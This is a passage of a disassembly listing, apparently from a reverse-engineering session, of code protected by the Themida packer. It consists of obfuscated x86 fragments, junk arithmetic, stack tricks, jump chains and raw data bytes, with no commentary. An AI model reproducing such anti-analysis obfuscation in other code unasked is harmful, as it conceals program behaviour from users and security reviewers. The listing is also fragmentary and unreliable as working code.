		jmp	loc_562832
; ---------------------------------------------------------------------------


loc_55C0CC:				; CODE XREF: Themida_:0055BEC9j
		mov	[esp], edi
		push	ecx
		push	ebp
		mov	ebp, 79767F99h
		mov	ecx, 9B858DD4h
		sub	ecx, ebp
		jmp	loc_552FFE
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 5BFD307Ah, 34FFEE28h, 6675E924h, 0C9FE0000h,	0FFAD8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C0F9:				; CODE XREF: Themida_:005602FCj
		pop	ebx
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, dl
		push	3944h
		jmp	loc_563EEE
; ---------------------------------------------------------------------------
		dw 7A2Dh
		dd 108B72Ch, 3E6858C2h,	8900000Bh, 0E9522434h, 0FFFFFD1Bh
		dd 240C8B66h, 3ED468h, 242C8900h, 0B8505D54h, 4, 8358C501h
		dd 3C8904ECh, 2BF24h, 0FD010000h, 52243C8Bh, 0FFC5CBE9h
		dd 2A5968FFh, 14890000h, 0A866824h, 0C890000h, 53A0B524h
		dd 0B05063B3h, 0E96E34F1h, 0FFFF8495h
; ---------------------------------------------------------------------------


loc_55C174:				; CODE XREF: Themida_:00562868j
		pop	ebx
		jmp	loc_55450D
; ---------------------------------------------------------------------------
		dw 0FF59h
		dd 2C8B2434h, 4C48124h,	53000000h, 2CE9E389h, 0FF000004h
		dd 34FF2434h, 0C4835824h, 80F6804h, 3C890000h, 692AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C1A6:				; CODE XREF: Themida_:00562E87j
		and	edx, 7ECB78BAh
		shl	edx, 6
		push	7674h
		mov	[esp], ecx
		mov	ecx, 7CD2573Bh
		jmp	loc_565AA7
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0A60995BAh, 5AD62936h, 4EE815Ah, 33000000h, 34312434h
		dd 0A5E3E924h, 0C8010000h, 4C08359h, 8B240487h,	0C7682424h
		dd 8900000Ch, 0E954240Ch, 0FFFFDCC9h, 0E94077FFh, 0FFFF54EEh
		dd 8B2434FFh, 8951240Ch, 6E6850E1h, 89000071h, 0F8BF243Ch
		dd 0B84AF230h, 2A125203h, 3C8BF831h, 0EC835124h, 24248904h
		dd 4240481h, 59000000h,	4CB8BE56h, 0EE8157B3h, 57B34CB4h
		dd 835EF101h, 0C8704C1h, 15E95C24h, 83FFFF9Ah, 895304C4h
		dd 4C381E3h, 0E9000000h, 0FFFFF62Fh, 285AD000h,	8BF82CD8h
		dd 8950241Ch, 405E0h, 7680000h,	89000041h, 9CE92414h, 68FFFF8Bh
		dd 70A1h, 0BF243C89h, 3DA202EBh, 6AE9D7F7h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C28F:				; CODE XREF: Themida_:00553593j
		pop	ecx
		add	ebx, 0BAA5733h
		sub	ebx, eax
		sub	ebx, 0BAA5733h
		jmp	loc_562294
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 1000000h, 89505AD6h, 405E0h, 89E90000h, 54FFFFF8h
		dd 4C3815Bh, 0E9000000h, 3CCDh,	0F703E7C1h, 8CEF81DFh
		dd 1BEC12Fh, 2434FFFEh,	0FF8B28E9h, 4C481FFh, 50000000h
		dd 4B8h, 8BC10100h, 8FE92404h, 0FFFFFFD7h, 83592434h, 0C58304C4h
		dd 74FF5504h, 8F5D0424h, 315C2404h, 0DFE92404h,	68FFFF53h
		dd 7C8971BFh, 592434FFh, 4EC81h, 34890000h, 81E68924h
		dd 4C6h, 5E93E900h, 685EFFFFh, 734h, 54241C89h,	81241C8Bh
		dd 4C4h, 4C38100h, 0E9000000h, 0FFFF5527h, 4E7A68h, 0C4E0E900h
		dd 4481FFFFh, 5CFA0424h, 0BB5317FFh, 1C9752EEh,	8245C29h
		dd 83241C8Bh, 0E95D04C4h, 0FFFF537Ah
; ---------------------------------------------------------------------------


loc_55C374:				; CODE XREF: Themida_:0055E567j
		pop	ebx
		add	ebp, 2
		jmp	loc_554536
; ---------------------------------------------------------------------------


loc_55C37D:				; CODE XREF: Themida_:00552272j
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	53B1h
		jmp	loc_55F279
; ---------------------------------------------------------------------------
		dd 662414F6h, 83241C8Bh, 0E3C002C4h, 0FFEB8008h, 0E915F380h
		dd 0FFFFEA1Eh
; ---------------------------------------------------------------------------


loc_55C3A8:				; CODE XREF: Themida_:0055180Ej
		mov	ebx, [esp]
		jmp	loc_55B584
; ---------------------------------------------------------------------------
		dd 0E958C730h, 0FFFFA819h
; ---------------------------------------------------------------------------


loc_55C3B8:				; CODE XREF: Themida_:00555F28j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_55C8BF
; ---------------------------------------------------------------------------


loc_55C3C0:				; CODE XREF: Themida_:005622FAj
		add	dword ptr [esp], 657619B0h
		pop	ecx
		sub	ecx, 657619B0h
		jmp	loc_565750
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C6812424h, 4, 2BD55h, 0EE290000h, 6E97E95Dh, 4FE0000h
		dd 0FBE99C24h, 0B9FFFF52h, 4, 0EDE9CA01h, 8100003Ah, 4C4h
		dd 243C8700h, 3EF4E9h, 60952D00h, 835F266Eh, 0C8904ECh
		dd 0A41FE924h, 48B0000h, 59545124h, 4C181h, 0C1830000h
		dd 2F0E904h, 4050000h, 83000000h, 0FF5004C0h, 0E9042474h
		dd 1625h, 6624248Bh, 9C240CFFh,	0FF529DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C451:				; CODE XREF: Themida_:00565A0Dj
		mov	edi, 380916AFh
		sub	edx, edi
		jmp	loc_566B4A
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 99h
		dd 41315119h, 7E38F181h, 0E98151A6h, 49952F38h,	796F181h
		dd 38E9319Ah, 33FFFFCBh, 8F5C243Ch, 248B2404h, 0C8BE0F24h
		dd 1668h, 240C8900h, 0FF5259E9h, 2474FFFFh, 48F5804h, 34895C24h
		dd 2474FF24h, 48F5E04h,	24248B24h, 5AEF6853h, 0BEE90000h
		dd 45FFFFACh, 138BF57h,	0F7815D64h, 69174B51h, 336DCF81h
		dd 2FE925E0h, 51FFFFE3h, 0C1815954h, 4,	0F0EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C4DD:				; CODE XREF: Themida_:005640FDj
		pop	edi
		push	edi
		jmp	loc_55CA5D
; ---------------------------------------------------------------------------
		dd 0E9242C89h, 0FFFFD71Ch
; ---------------------------------------------------------------------------


loc_55C4EC:				; CODE XREF: Themida_:0055DF08j
		add	ebx, esi
		jmp	loc_558870
; ---------------------------------------------------------------------------
		db 81h
		dd 2FDC97F6h, 32A7059Dh, 0F0017416h, 0A1DBE9h, 22E2BB00h
		dd 0BA525835h, 3C114F61h, 435AD331h, 65F3814Bh,	817B923Ah
		dd 679B3EBh, 2FEB8126h,	1F9AFDEh, 52505BDFh, 71544568h
		dd 84E95A2Ah
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C537:				; CODE XREF: Themida_:00565CE7j
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dd 19C3E952h, 0C4830000h, 0CC04E904h, 0EF81FFFFh, 74ED1B83h
		dd 0FFF1D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C55D:				; CODE XREF: Themida_:00557508j
		pop	ebx
		push	ebx
		jmp	loc_5627BC
; ---------------------------------------------------------------------------
		dd 3A01BA52h, 7DE90754h, 5DFFFF9Ch, 582434FFh, 41B0E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C57A:				; CODE XREF: Themida_:0055DE26j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mul	cx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_55EAE1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38300h, 46D3E9h, 4EC8100h, 89000000h, 0E189240Ch
		dd 0FFA0BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C5D9:				; CODE XREF: Themida_:00564EA8j
		mov	[esp], edi
		push	ebp
		jmp	loc_55DB28
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 30E92404h, 89FFFFACh, 74E95FFBh, 0FFFFFFBDh,	0FDE92434h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C5FB:				; CODE XREF: Themida_:0055F75Aj
		sub	esi, 0F505C32Eh
		add	ebx, esi
		jmp	loc_55D958
; ---------------------------------------------------------------------------


loc_55C608:				; CODE XREF: Themida_:005650C7j
		add	edx, 68075CB6h
		pop	eax
		sub	esp, 4
		jmp	loc_553027
; ---------------------------------------------------------------------------
		dw 895Dh
		dd 2434FFF0h, 7C74E95Eh, 248B0000h, 50C0E924h, 2C89FFFFh
		dd 1C176824h, 24890000h, 4BB5324h, 1000000h, 5B04245Ch
		dd 57242C8Bh, 0C781E789h, 4, 4C781h, 0FBE90000h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C65B:				; CODE XREF: Themida_:00562F79j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2D137CFAh
		xor	eax, 7B8F529Ah
		sub	edx, 7F4718F5h
		jmp	loc_561AE9
; ---------------------------------------------------------------------------
		dw 1489h
		dd 9B4BA24h, 0C2815BFEh, 3EED2133h, 799FBE56h, 0E94634C5h
		dd 0A40h, 48BC101h, 0C244E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C69A:				; CODE XREF: Themida_:0055A7BDj
		mov	[esp], edi
		push	ebx
		pop	edi
		sub	esp, 4
		jmp	loc_55A20E
; ---------------------------------------------------------------------------
		db 66h
		dd 2404AB0Fh, 503CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C6B2:				; CODE XREF: Themida_:0055442Bj
		mov	ebx, [esp]
		push	ebx
		jmp	loc_55FB7C
; ---------------------------------------------------------------------------
		db 89h
		dd 1055EF0h, 0E9000000h, 9038h,	8BBBE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C6CE:				; CODE XREF: Themida_:0055C941j
		add	bl, 0B9h
		jmp	loc_5633E8
; ---------------------------------------------------------------------------


loc_55C6D6:				; CODE XREF: Themida_:00554EB8j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 26286545h
		jmp	loc_5546E7
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 0F967BFCh, 105h, 16E94800h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C6FB:				; CODE XREF: Themida_:005571B1j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5612E7
; ---------------------------------------------------------------------------


loc_55C70E:				; CODE XREF: Themida_:00564135j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_560423
; ---------------------------------------------------------------------------
		db 66h,	89h, 4
		dd 4FCCE924h, 0C33FFFFh, 54F1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C72A:				; CODE XREF: Themida_:00558B84j
		push	eax
		jmp	loc_5528D2
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFF9602h, 0A3E95648h, 8BFFFF89h, 0C483240Ch
		dd 3CC18104h, 0E96CDB49h, 0FFFFAA93h, 81EA0158h, 131F58C2h
		dd 6449E94Ah, 0BE560000h, 53F87CF8h, 8247401h, 526BE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C76E:				; CODE XREF: Themida_:0056199Fj
		push	6890h
		mov	[esp], ebp
		mov	ebp, 0EEF50F2h
		shl	ebp, 8
		sub	ebp, 0EF50F1FCh
		jmp	loc_55FBE5
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 2Eh
		dd 89414880h, 0D8015DEBh, 81241C8Bh, 4C4h, 8117E900h, 0EA310000h
		dd 0E6C2815Dh, 815B0B41h, 1D31AEF2h, 0EC685529h, 89000021h
		dd 43E9241Ch
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7BF:				; CODE XREF: Themida_:0055C9D0j
		pop	ecx
		neg	edi
		xor	edi, 9A76EC42h
		push	edi
		xor	dword ptr [esp], 30B34362h
		pop	eax
		xor	eax, 30B34362h
		jmp	loc_55B80E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 55595451h, 4BDh, 8BE90100h, 0C483242Ch, 4C18304h, 2474FF51h
		dd 0AFEFE904h, 555AFFFFh, 0EB2222BDh, 0BB535104h, 12273EFFh
		dd 1E0054B9h, 0E9D93175h, 0FFFF84DEh, 240C8B66h, 374C68h
		dd 243C8900h, 4EC81h, 8F540000h, 4832404h, 0D5E90424h
		dd 81000013h, 8114FBC5h, 81F50138h, 8114FBEDh, 271BE938h
		dd 4050000h, 83000000h,	48704C0h, 11E95C24h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C857:				; CODE XREF: Themida_:00562288j
		add	eax, edi
		pop	edi
		jmp	loc_55F634
; ---------------------------------------------------------------------------
		db 89h
		dd 0C0BD242Ch, 57679349h, 0FF8577E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C86D:				; CODE XREF: Themida_:00559CD2j
		pop	edx
		sub	al, 18h
		sub	al, ch
		jmp	loc_55F8F1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0E6BD5500h, 81655657h,	5657E2F5h, 1536E965h, 4FF0000h
		dd 0C1815924h, 0A2149652h, 0C8BCE31h, 4C48324h,	2551EE81h
		dd 0F10116EAh, 4C1835Eh, 5C240C87h, 8B240C87h, 8F662424h
		dd 2FE92404h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C8BF:				; CODE XREF: Themida_:0055C3BBj
		push	edx
		mov	edx, 2BDB0331h
		jmp	loc_556CFE
; ---------------------------------------------------------------------------
aWsl4		db 'Wél4',0
		align 10h


loc_55C8D0:				; CODE XREF: Themida_:00564A50j
		not	ebx
		xchg	ebx, esi
		push	eax
		mov	eax, 54031CCDh
		xor	esi, eax
		pop	eax
		push	esi
		add	dword ptr [esp], 459C253Dh
		jmp	loc_5587C4
; ---------------------------------------------------------------------------


loc_55C8EA:				; CODE XREF: Themida_:00559486j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_566D6A
; ---------------------------------------------------------------------------
aPsA		db 'Pé',9,'',0
		align 10h
		dd 81242C8Bh, 4C4h, 24343300h, 33243431h, 248B2434h, 7C4E6824h
		dd 9E90000h, 1000085h, 0A4C5E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C936:				; CODE XREF: Themida_:00561165j
		mov	cl, 8
		add	cl, 0D3h
		add	bl, cl
		pop	ecx
		add	bl, 5Bh
		jmp	loc_55C6CE
; ---------------------------------------------------------------------------


loc_55C946:				; CODE XREF: Themida_:00562822j
		and	ecx, edx
		jmp	loc_5564EC
; ---------------------------------------------------------------------------


loc_55C94D:				; CODE XREF: Themida_:0055F27Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_558404
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 51000000h, 7FBCBD55h, 48B91CA2h, 0E9E35D80h,	9EB8h
; ---------------------------------------------------------------------------


loc_55C974:				; CODE XREF: Themida_:00560A93j
		push	esi
		jmp	loc_5655DC
; ---------------------------------------------------------------------------


loc_55C97A:				; CODE XREF: Themida_:00558A2Dj
		mov	edi, 29EC2ABDh
		xor	edi, 4F7C5DE6h
		shr	edi, 2
		sub	edi, 0C7991BC4h
		xor	edx, edi
		mov	edi, [esp]
		jmp	loc_565B82
; ---------------------------------------------------------------------------


loc_55C998:				; CODE XREF: Themida_:0055DB2Fj
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_565FFD
		push	10CCh
		jmp	loc_55C9F2
; ---------------------------------------------------------------------------
		db 0BAh, 0FDh, 44h
aXhj8		db '½xhJ8',0
		dw 8900h
		dd 0E6892434h, 0FFB64EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C9CD:				; CODE XREF: Themida_:00561E46j
		pop	edx
		xor	edi, ecx
		jmp	loc_55C7BF
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0E9h
		dd 6ED8h, 0EC83CDFEh, 24148904h, 1EC1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C9E9:				; CODE XREF: Themida_:00553E1Cj
		inc	esi
		shr	esi, 8
		jmp	loc_55926F
; ---------------------------------------------------------------------------


loc_55C9F2:				; CODE XREF: Themida_:0055C9B4j
		mov	[esp], eax
		mov	eax, 1Ch
		push	edx
		mov	edx, 33D32F29h
		jmp	loc_5604F5
; ---------------------------------------------------------------------------


loc_55CA05:				; CODE XREF: Themida_:00553C50j
		mov	ebx, edi
		pop	edi
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		jmp	loc_563064
; ---------------------------------------------------------------------------
		db 21h
		dd 0C5815FFDh, 6352E937h, 1CF2BB53h, 95E94979h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CA27:				; CODE XREF: Themida_:00556B6Ej
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5595DE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E0E92434h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CA3B:				; CODE XREF: Themida_:005628CAj
		mov	[esp], ecx
		mov	ecx, 73FE0818h
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 7622DCAh
		mov	ecx, edx
		pop	edx
		shr	ecx, 6
		not	ecx
		jmp	loc_559EF2
; ---------------------------------------------------------------------------


loc_55CA5D:				; CODE XREF: Themida_:0055C4DFj
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	6C05h
		mov	[esp], esi
		push	3765719h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	7C86h
		mov	[esp], ebp
		push	eax
		mov	eax, 1C0D6918h
		xor	eax, 6057730Fh
		mov	ebp, eax
		pop	eax
		jmp	loc_55294D
; ---------------------------------------------------------------------------


loc_55CAAD:				; CODE XREF: Themida_:00558B76j
		add	ebx, 0D754CD12h
		add	esi, ebx
		pop	ebx
		push	eax
		jmp	loc_553083
; ---------------------------------------------------------------------------
		dd 690CBF57h, 685508A5h, 634B3D92h, 56F5815Dh, 810E1606h
		dd 63424BCDh, 52DDF77Fh, 803EB7BAh, 91C5E974h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CAE2:				; CODE XREF: Themida_:00553960j
		mov	bh, 8Eh
		xor	bh, 0C7h
		mov	dl, bh
		pop	ebx
		xor	dl, al
		pop	eax
		jmp	loc_551FB0
; ---------------------------------------------------------------------------


loc_55CAF2:				; CODE XREF: Themida_:00558E58j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, eax
		jmp	loc_55FB6F
; ---------------------------------------------------------------------------
		db 1
		dd 0C38359CBh, 241C8704h, 0EDC5815Ch, 11EA913h,	0EDED81CDh
		dd 811EA913h, 977867C5h, 2C87597Ah, 24248B24h, 24040166h
		dd 4BBCE99Ch, 8B66FFFFh, 97E9240Ch, 5CFFFF89h, 4A06EAC1h
		dd 0FFE77BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB45:				; CODE XREF: Themida_:00555FF8j
		pop	ebx
		sub	bl, dl
		jmp	loc_55FB4D
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 2434FF5Ch, 45BD6858h, 5AE90000h, 5500001Fh, 0FFCB00E9h
		dd 0F18159FFh, 4A020964h, 0BB43BD55h, 0E931C6EBh, 59CA895Dh
		dd 500BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CB7D:				; CODE XREF: Themida_:0056633Aj
		pop	eax
		add	edi, 0F5583432h
		mov	ebx, edi
		jmp	loc_555648
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E924048Bh, 8157h, 8904EC83h, 0F8882404h, 335E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CBA1:				; CODE XREF: Themida_:0055DEF4j
		pop	esi
		add	eax, 0DC550A4h
		pop	edi
		jmp	loc_559D0F
; ---------------------------------------------------------------------------


loc_55CBAD:				; CODE XREF: Themida_:00563761j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 52F05BBh
		add	[esp+4], ebp
		pop	ebp
		mov	edi, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 404A6D60h
		xor	ebp, 2EB244C1h
		jmp	loc_565AB1
; ---------------------------------------------------------------------------
		dd 34FFC601h, 0C4815824h, 4, 8702C683h,	248B2434h, 24D36624h
		dd 0EBE99C24h, 81FFFF4Ah, 4C3h,	6114E900h, 0C7810000h
		dd 387156EBh, 2434FF5Bh, 0E9241C8Bh, 0FFFFCCE8h, 533B68h
		dd 243C8900h, 0FF76F1E9h, 1C581FFh, 57000000h, 1C2CB850h
		dd 0E8C112B0h, 79443505h, 43E9434Dh, 31000044h,	0DEE958C1h
		dd 58000042h, 2554E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC56:				; CODE XREF: Themida_:005655E7j
		mov	edi, 3E296DE4h
		shl	edi, 2
		dec	edi
		sub	edi, 0B8AE6250h
		jmp	loc_55E836
; ---------------------------------------------------------------------------
aXssie		db 'XS騅',0
		db 0
; ---------------------------------------------------------------------------


loc_55CC71:				; CODE XREF: Themida_:0055D387j
		add	ebx, edx
		jmp	loc_55C042
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 56000000h,	60F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CC85:				; CODE XREF: Themida_:00558621j
		xor	edx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_565148
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0FFFFFFFFh, 0C106E0C1h, 762D08E8h, 1000C01h,	0B85058C3h
		dd 77E96895h, 0FFB779E9h, 27AF68FFh, 34890000h,	6C2ABE24h
		dd 0F681203Eh, 5D4750F8h, 685EF031h, 7A2Fh, 83240489h
		dd 148904ECh, 2E60BA24h, 5852569Ch, 8324148Bh, 0C28104C4h
		dd 0C7F56E5h, 0EA81C201h, 0C7F56E5h, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5544A4
; ---------------------------------------------------------------------------
		dd 0E821DEBDh, 0BB4AE943h, 0EFC1FFFFh, 0D687E902h, 0C483FFFFh
		dd 4C48304h, 30CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CD19:				; CODE XREF: Themida_:00558E18j
		mov	[esp], ebx
		mov	ebx, 7CA81318h
		xor	[esp+4], ebx
		jmp	loc_55B50A
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0F7D3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD32:				; CODE XREF: Themida_:00560672j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55937A
; ---------------------------------------------------------------------------


loc_55CD40:				; CODE XREF: Themida_:00555DB7j
		add	esi, 0CB1CC59Ah
		mov	ebp, 7D985200h
		xor	ebp, esi
		pop	esi
		xor	eax, ebp
		pop	ebp
		sub	eax, 502E46FCh
		shl	eax, cl
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_563AF3
; ---------------------------------------------------------------------------
		db 52h
		dd 5A2414F7h, 0FF88F281h, 5AE9B9A3h, 5EFFFF89h,	8704EF83h
		dd 248B243Ch, 240C8924h, 0FF7AD4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CD85:				; CODE XREF: Themida_:0055D991j
		sub	edx, 6CB908B3h
		jmp	loc_5557DC
; ---------------------------------------------------------------------------
		dd 12E468h, 24048900h, 0CE2CAEB0h, 0FF965EE9h, 8BF101FFh
		dd 0C4832434h, 240C8704h, 6824248Bh, 6171h, 0BF243C89h
		dd 2, 30E9F801h, 5200003Fh, 0C1885153h,	5159CB88h, 0CE88D988h
		dd 6CD4E9h, 24442900h, 246C8104h, 0E634A104h, 5C9FE908h
		dd 0C33FFFFh, 240C3124h, 5C240C33h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_565E78
; ---------------------------------------------------------------------------


loc_55CDF8:				; CODE XREF: Themida_:0056026Aj
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ebp
		mov	ebp, 15941A86h
		sub	ebp, 0D890E50h
		inc	ebp
		not	ebp
		jmp	loc_5597DC
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 0E9E28924h, 0FFFF99E8h, 395EBA52h
		dd 0D7897D4Eh, 5753475Ah, 0A416BA68h, 0CF815F38h, 130038B8h
		dd 0C013E947h, 474FFFFFh, 0C1A3C781h, 0F9013A9Ch, 4EC835Fh
		dd 0BD242C89h, 2, 2C8BE901h, 1A8E6824h,	1C890000h, 39206824h
		dd 24890000h, 24048324h, 0A1A8E904h, 56ADFFFFh,	1100BB53h
		dd 0DE890A7Bh, 721BE9h,	0A7E95B00h, 87FFFFC6h, 0E5E9241Ch
		dd 81FFFF68h, 27013FC1h, 87C1811Eh, 50549A06h, 0A1323BB8h
		dd 9081E973h, 6FBBFFFFh, 0C10DE216h, 814B02E3h,	660373EBh
		dd 5BD929F0h, 2C1835Bh,	5DB0E951h, 0C483FFFFh, 1EAE904h
		dd 0F7880000h, 5358C688h, 0E93BB050h, 0FFFFD60Ch, 62A2BD55h
		dd 0B85060A8h, 3BF57559h, 0E256012Dh, 8679E9F1h, 0FEBBFFFFh
		dd 81035F15h, 107D92EBh, 65EB8147h, 97DCF66h, 3FE95BD9h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF13:				; CODE XREF: Themida_:00559151j
		not	eax
		dec	eax
		push	105Ah
		jmp	loc_560A6D
; ---------------------------------------------------------------------------


loc_55CF20:				; CODE XREF: Themida_:0055D9F2j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_558C78
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 0FF9576E9h, 5E089FFh,	4, 0FFCC0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF4D:				; CODE XREF: Themida_:005585DCj
		sub	eax, edi
		jmp	loc_5652BD
; ---------------------------------------------------------------------------


loc_55CF54:				; CODE XREF: Themida_:00562721j
		xor	edi, 6D6054DDh
		shl	edi, 4
		push	ecx
		mov	ecx, 5B008088h
		xor	edi, ecx
		pop	ecx
		and	ebp, edi
		pop	edi
		xor	ebp, 741022B9h
		push	133Fh
		mov	[esp], ebp
		jmp	loc_5554C9
; ---------------------------------------------------------------------------
		dd 0B951E589h, 4, 8159CD01h, 4C5h, 242C8700h, 5AD7015Ch
		dd 0FFC0B60Fh, 68538734h, 3FCh,	83241C8Bh, 0BB5304C4h
		dd 3A635BB2h, 295BDF01h, 0B2EF81DFh, 0E93A635Bh, 0FFFFCC19h
; ---------------------------------------------------------------------------


loc_55CFBC:				; CODE XREF: Themida_:005588AFj
		pop	ebp
		add	ebp, 4
		jmp	loc_55BA07
; ---------------------------------------------------------------------------


loc_55CFC8:				; CODE XREF: Themida_:005534B4j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 741B1C7Dh
		mov	edi, 9BDB4856h
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	edi, 4E6F7087h
		add	edi, 6B377DA2h
		push	edi
		push	ecx
		jmp	loc_56229A
; ---------------------------------------------------------------------------


loc_55CFF8:				; CODE XREF: Themida_:0055258Dj
		pop	ebx
		jmp	loc_5589B9
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0C5810000h, 4, 5C242C87h, 8104C483h,	4C4h, 46D0E900h
		dd 0EBD1FFFFh, 0FF80D9E9h, 0E9C588FFh, 0FFFFDB56h, 815DEA09h
		dd 1A2004EAh, 5AD131BFh, 0FFE2BFE9h, 240C8BFFh,	4C481h
		dd 0FF550000h, 5D042474h, 8B24048Fh, 0A9E92424h, 81FFFFF1h
		dd 4C3h, 241C8700h, 0FF5226E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D065:				; CODE XREF: Themida_:0055367Dj
		mov	[esp], edx
		jmp	loc_56149E
; ---------------------------------------------------------------------------


loc_55D06D:				; CODE XREF: Themida_:0055DA82j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		sub	al, 30h
		push	6348h
		mov	[esp], ecx
		push	769Bh
		jmp	loc_55A992
; ---------------------------------------------------------------------------


loc_55D094:				; CODE XREF: Themida_:0055325Fj
		xchg	edi, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55A7E0
; ---------------------------------------------------------------------------


